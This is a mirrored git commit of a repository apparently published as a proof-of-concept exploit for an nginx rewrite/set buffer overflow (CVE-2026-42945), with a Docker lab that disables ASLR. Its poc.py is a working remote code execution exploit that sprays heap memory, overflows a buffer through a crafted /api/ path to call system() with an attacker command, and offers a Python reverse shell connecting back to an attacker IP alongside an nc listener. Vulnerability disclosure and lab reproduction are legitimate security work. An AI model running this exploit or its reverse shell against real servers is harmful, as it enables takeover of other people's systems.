mirror of
https://github.com/DepthFirstDisclosures/Nginx-Rift.git
synced 2026-05-16 11:07:44 +00:00
init
This commit is contained in:
commit
90f4b4a302
8 changed files with 393 additions and 0 deletions
24
Dockerfile
Normal file
24
Dockerfile
Normal file
|
|
@ -0,0 +1,24 @@
|
||||||
|
FROM ubuntu:22.04
|
||||||
|
ENV DEBIAN_FRONTEND=noninteractive
|
||||||
|
|
||||||
|
RUN apt-get update && apt-get install -y \
|
||||||
|
gcc make libpcre2-dev libssl-dev zlib1g-dev \
|
||||||
|
util-linux python3 curl git \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
RUN git clone https://github.com/nginx/nginx.git /nginx-src \
|
||||||
|
&& cd /nginx-src && git checkout 98fc3bb78
|
||||||
|
|
||||||
|
RUN cd /nginx-src && ./auto/configure \
|
||||||
|
--builddir=build \
|
||||||
|
--with-cc-opt='-g -O2 -fno-omit-frame-pointer' \
|
||||||
|
--with-ld-opt='-Wl,-z,relro -Wl,-z,now' \
|
||||||
|
--with-http_ssl_module --with-http_v2_module \
|
||||||
|
&& make -j$(nproc)
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
COPY nginx.conf server.py entrypoint.sh ./
|
||||||
|
RUN chmod +x entrypoint.sh && mkdir -p logs tmp
|
||||||
|
|
||||||
|
ENTRYPOINT ["/app/entrypoint.sh"]
|
||||||
|
EXPOSE 19321
|
||||||
4
README.md
Normal file
4
README.md
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
# Nginx Rift Exploit
|
||||||
|
|
||||||
|
**CVE:** CVE-2026-42945
|
||||||
|
**Tested on:** Ubuntu 24.04.3 LTS
|
||||||
12
docker-compose.yml
Normal file
12
docker-compose.yml
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
services:
|
||||||
|
nginx:
|
||||||
|
build: .
|
||||||
|
cap_add:
|
||||||
|
- SYS_PTRACE
|
||||||
|
security_opt:
|
||||||
|
- seccomp=unconfined
|
||||||
|
init: true
|
||||||
|
ports:
|
||||||
|
- "19321:19321"
|
||||||
|
tty: true
|
||||||
|
stdin_open: true
|
||||||
5
entrypoint.sh
Executable file
5
entrypoint.sh
Executable file
|
|
@ -0,0 +1,5 @@
|
||||||
|
#!/bin/bash
|
||||||
|
cd /app
|
||||||
|
python3 server.py &>/dev/null &
|
||||||
|
# setarch -R disables ASLR for the launched process (deterministic addresses)
|
||||||
|
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf
|
||||||
59
nginx.conf
Normal file
59
nginx.conf
Normal file
|
|
@ -0,0 +1,59 @@
|
||||||
|
daemon off;
|
||||||
|
worker_processes 1;
|
||||||
|
error_log logs/error.log;
|
||||||
|
pid tmp/nginx.pid;
|
||||||
|
worker_rlimit_core 500M;
|
||||||
|
working_directory tmp;
|
||||||
|
|
||||||
|
events {
|
||||||
|
worker_connections 1024;
|
||||||
|
}
|
||||||
|
|
||||||
|
http {
|
||||||
|
access_log off;
|
||||||
|
client_body_temp_path tmp;
|
||||||
|
proxy_temp_path tmp;
|
||||||
|
fastcgi_temp_path tmp;
|
||||||
|
uwsgi_temp_path tmp;
|
||||||
|
scgi_temp_path tmp;
|
||||||
|
|
||||||
|
upstream backend {
|
||||||
|
server 127.0.0.1:19323;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 19322;
|
||||||
|
location / { return 200 "backend ok\n"; }
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 19321;
|
||||||
|
request_pool_size 7920;
|
||||||
|
connection_pool_size 4096;
|
||||||
|
client_header_buffer_size 2048;
|
||||||
|
|
||||||
|
# The rewrite + set combination triggers the bug:
|
||||||
|
# - rewrite sets e->is_args = 1 (due to '?' in replacement)
|
||||||
|
# - set $original_endpoint $1 allocates buffer using raw capture
|
||||||
|
# length, but copies with escape expansion (3x for '+' chars)
|
||||||
|
location ~ ^/api/(.*)$ {
|
||||||
|
rewrite ^/api/(.*)$ /internal?migrated=true;
|
||||||
|
set $original_endpoint $1;
|
||||||
|
}
|
||||||
|
|
||||||
|
location /internal {
|
||||||
|
internal;
|
||||||
|
proxy_pass http://backend;
|
||||||
|
proxy_read_timeout 60s;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Spray: POST body stored in pool memory (binary data, NUL bytes allowed)
|
||||||
|
location /spray {
|
||||||
|
client_body_in_single_buffer on;
|
||||||
|
proxy_pass http://backend;
|
||||||
|
proxy_read_timeout 60s;
|
||||||
|
}
|
||||||
|
|
||||||
|
location / { return 200 "ok\n"; }
|
||||||
|
}
|
||||||
|
}
|
||||||
238
poc.py
Executable file
238
poc.py
Executable file
|
|
@ -0,0 +1,238 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import time
|
||||||
|
import sys
|
||||||
|
|
||||||
|
BODY_LEN = 4000
|
||||||
|
N_SPRAY = 20
|
||||||
|
|
||||||
|
SAFE = set()
|
||||||
|
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
|
||||||
|
0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
|
||||||
|
for _b in range(256):
|
||||||
|
if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
|
||||||
|
SAFE.add(_b)
|
||||||
|
|
||||||
|
HEAP_BASE = 0x555555659000
|
||||||
|
LIBC_BASE = 0x7ffff77ba000
|
||||||
|
SYSTEM_ADDR = LIBC_BASE + 0x50d70
|
||||||
|
|
||||||
|
PREREAD_HEAP_OFFSETS = [
|
||||||
|
0x05a427, 0x060e67,
|
||||||
|
0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
|
||||||
|
0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
|
||||||
|
0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
|
||||||
|
0x103847, 0x108657, 0x10d467,
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def addr_is_safe(addr):
|
||||||
|
return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))
|
||||||
|
|
||||||
|
|
||||||
|
def make_body(cmd, data_addr):
|
||||||
|
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
|
||||||
|
cmd_bytes = cmd.encode('utf-8') + b'\x00'
|
||||||
|
payload = fake_struct + cmd_bytes
|
||||||
|
if len(payload) > BODY_LEN:
|
||||||
|
print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
|
||||||
|
sys.exit(1)
|
||||||
|
return payload + b'\x41' * (BODY_LEN - len(payload))
|
||||||
|
|
||||||
|
|
||||||
|
def wait_alive(host, port, timeout=30):
|
||||||
|
for _ in range(timeout):
|
||||||
|
try:
|
||||||
|
s = socket.create_connection((host, port), timeout=2)
|
||||||
|
s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
|
||||||
|
s.recv(100)
|
||||||
|
s.close()
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
time.sleep(1)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def attempt(host, port, target_bytes, body):
|
||||||
|
sprays = []
|
||||||
|
for i in range(N_SPRAY):
|
||||||
|
try:
|
||||||
|
s = socket.create_connection((host, port), timeout=5)
|
||||||
|
req = (
|
||||||
|
b"POST /spray HTTP/1.1\r\n"
|
||||||
|
b"Host: l\r\n"
|
||||||
|
b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
|
||||||
|
b"X-Delay: 60\r\n"
|
||||||
|
b"Connection: close\r\n"
|
||||||
|
b"\r\n"
|
||||||
|
+ body
|
||||||
|
)
|
||||||
|
s.sendall(req)
|
||||||
|
sprays.append(s)
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
time.sleep(0.005)
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
try:
|
||||||
|
a = socket.create_connection((host, port), timeout=5)
|
||||||
|
time.sleep(0.02)
|
||||||
|
v = socket.create_connection((host, port), timeout=5)
|
||||||
|
time.sleep(0.02)
|
||||||
|
except Exception:
|
||||||
|
for s in sprays:
|
||||||
|
try:
|
||||||
|
s.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
|
|
||||||
|
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
|
||||||
|
a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
|
||||||
|
f"Host:localhost\r\n").encode("latin-1"))
|
||||||
|
time.sleep(0.05)
|
||||||
|
v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
|
||||||
|
time.sleep(0.05)
|
||||||
|
a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
v.close()
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
crashed = False
|
||||||
|
try:
|
||||||
|
a.sendall(b"X-Ping:1\r\n")
|
||||||
|
a.settimeout(0.2)
|
||||||
|
data = a.recv(1)
|
||||||
|
if not data:
|
||||||
|
crashed = True
|
||||||
|
except socket.timeout:
|
||||||
|
# It timed out. Nginx is either alive (waiting for backend) or hung in system().
|
||||||
|
# Let's try to make a new connection to see if the worker is responsive.
|
||||||
|
try:
|
||||||
|
check_sock = socket.create_connection((host, port), timeout=0.2)
|
||||||
|
check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
|
||||||
|
check_data = check_sock.recv(10)
|
||||||
|
check_sock.close()
|
||||||
|
if not check_data:
|
||||||
|
crashed = True
|
||||||
|
else:
|
||||||
|
crashed = False
|
||||||
|
except Exception:
|
||||||
|
crashed = True
|
||||||
|
except (ConnectionResetError, BrokenPipeError, OSError):
|
||||||
|
crashed = True
|
||||||
|
|
||||||
|
for s in sprays:
|
||||||
|
try:
|
||||||
|
s.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
a.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return crashed
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="nginx rift RCE exploit (ASLR disabled)"
|
||||||
|
)
|
||||||
|
parser.add_argument("--host", default="127.0.0.1",
|
||||||
|
help="target host (default: 127.0.0.1)")
|
||||||
|
parser.add_argument("--port", type=int, default=19321,
|
||||||
|
help="target port (default: 19321)")
|
||||||
|
parser.add_argument("--cmd",
|
||||||
|
help="shell command to execute via system()")
|
||||||
|
parser.add_argument("--shell", action="store_true",
|
||||||
|
help="execute a reverse shell back to the attacker")
|
||||||
|
parser.add_argument("--listen-port", type=int, default=1337,
|
||||||
|
help="port to listen on for reverse shell (default: 1337)")
|
||||||
|
parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
|
||||||
|
help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if not args.cmd and not args.shell:
|
||||||
|
parser.error("either --cmd or --shell must be specified")
|
||||||
|
if args.cmd and args.shell:
|
||||||
|
parser.error("cannot specify both --cmd and --shell")
|
||||||
|
|
||||||
|
host = args.host
|
||||||
|
port = args.port
|
||||||
|
|
||||||
|
if args.shell:
|
||||||
|
local_ip = args.listen_ip
|
||||||
|
cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
|
||||||
|
print(f"[*] Generated reverse shell command: {cmd}")
|
||||||
|
else:
|
||||||
|
cmd = args.cmd
|
||||||
|
|
||||||
|
if args.shell:
|
||||||
|
import threading
|
||||||
|
def listen_shell():
|
||||||
|
print(f"[*] Listening for reverse shell on port {args.listen_port}...")
|
||||||
|
# Use netcat if available, otherwise just use a simple socket listener
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
|
||||||
|
except Exception:
|
||||||
|
print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
|
||||||
|
|
||||||
|
t = threading.Thread(target=listen_shell)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
# Give the listener a moment to start
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
candidates = []
|
||||||
|
for i, off in enumerate(PREREAD_HEAP_OFFSETS):
|
||||||
|
addr = HEAP_BASE + off
|
||||||
|
if addr_is_safe(addr):
|
||||||
|
candidates.append((i, addr))
|
||||||
|
|
||||||
|
primary_addr = candidates[0][1]
|
||||||
|
data_addr = primary_addr + 24
|
||||||
|
body = make_body(cmd, data_addr)
|
||||||
|
|
||||||
|
print(f"[*] Waiting for nginx on {host}:{port}...")
|
||||||
|
if not wait_alive(host, port):
|
||||||
|
print("[!] nginx not responding")
|
||||||
|
return 1
|
||||||
|
print("[+] Connected.")
|
||||||
|
|
||||||
|
TRIES_PER_CANDIDATE = 10
|
||||||
|
|
||||||
|
for i, addr in candidates:
|
||||||
|
target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
|
||||||
|
|
||||||
|
for t in range(TRIES_PER_CANDIDATE):
|
||||||
|
if not wait_alive(host, port, timeout=10):
|
||||||
|
time.sleep(2)
|
||||||
|
if not wait_alive(host, port, timeout=10):
|
||||||
|
print(" server not recovering, aborting")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
crashed = attempt(host, port, target, body)
|
||||||
|
if crashed:
|
||||||
|
if args.shell:
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
time.sleep(1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
|
||||||
|
f"crashed — system(\"{cmd}\") executed")
|
||||||
|
print(f"[+] Done.")
|
||||||
|
return 0
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
print("[+] All candidates tried — no crash detected.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
32
server.py
Normal file
32
server.py
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Simple HTTP backend with configurable delay via X-Delay header."""
|
||||||
|
import http.server
|
||||||
|
import time
|
||||||
|
import socketserver
|
||||||
|
|
||||||
|
class BackendHandler(http.server.BaseHTTPRequestHandler):
|
||||||
|
def do_GET(self):
|
||||||
|
delay = float(self.headers.get('X-Delay', '5'))
|
||||||
|
time.sleep(delay)
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'text/plain')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b'backend ok\n')
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
length = int(self.headers.get('Content-Length', 0))
|
||||||
|
self.rfile.read(length)
|
||||||
|
delay = float(self.headers.get('X-Delay', '5'))
|
||||||
|
time.sleep(delay)
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'text/plain')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b'backend ok\n')
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
pass
|
||||||
|
|
||||||
|
socketserver.TCPServer.allow_reuse_address = True
|
||||||
|
with socketserver.TCPServer(("127.0.0.1", 19323), BackendHandler) as httpd:
|
||||||
|
print("Backend on :19323")
|
||||||
|
httpd.serve_forever()
|
||||||
19
setup.sh
Executable file
19
setup.sh
Executable file
|
|
@ -0,0 +1,19 @@
|
||||||
|
#!/bin/bash
|
||||||
|
set -e
|
||||||
|
cd "$(dirname "$0")"
|
||||||
|
|
||||||
|
echo "Building Docker image (compiles nginx from source)..."
|
||||||
|
docker compose build
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "Done. To run:"
|
||||||
|
echo ""
|
||||||
|
echo " # Terminal 1 (server) — nginx runs with ASLR disabled (setarch -R):"
|
||||||
|
echo " docker compose up"
|
||||||
|
echo ""
|
||||||
|
echo " # Terminal 2 (attacker):"
|
||||||
|
echo " python3 poc.py --cmd 'touch /tmp/pwned'"
|
||||||
|
echo ""
|
||||||
|
echo " # Verify RCE:"
|
||||||
|
echo " docker compose exec nginx ls -la /tmp/pwned"
|
||||||
|
echo " docker compose exec nginx cat /tmp/pwned"
|
||||||
Loading…
Add table
Add a link
Reference in a new issue